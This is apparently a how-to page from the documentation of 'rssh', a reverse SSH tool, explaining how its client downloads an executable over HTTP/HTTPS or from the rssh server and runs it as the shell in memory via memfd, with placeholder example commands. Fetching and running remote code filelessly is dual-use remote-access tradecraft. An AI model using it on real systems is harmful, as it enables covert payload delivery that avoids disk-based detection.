How to: Fileless execution (Clients support dynamically downloading executables to execute as shell)
When specifying what executable the rssh binary should run, either when connecting with a full PTY session or raw execution the client supports URI schemes to download offhost executables.

For example.

```sh
connect --shell https://your.host/program
ssh -J your.rssh.server:3232
https://your.host/program
```

#### Supported URI Schemes

`http/https`: Pure web downloading

`rssh`: Download via the rssh server

The rssh server will serve content from the `downloads` directory in the executables working directory.

Both of these methods will opportunistically use [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) which will not write any executables to disk.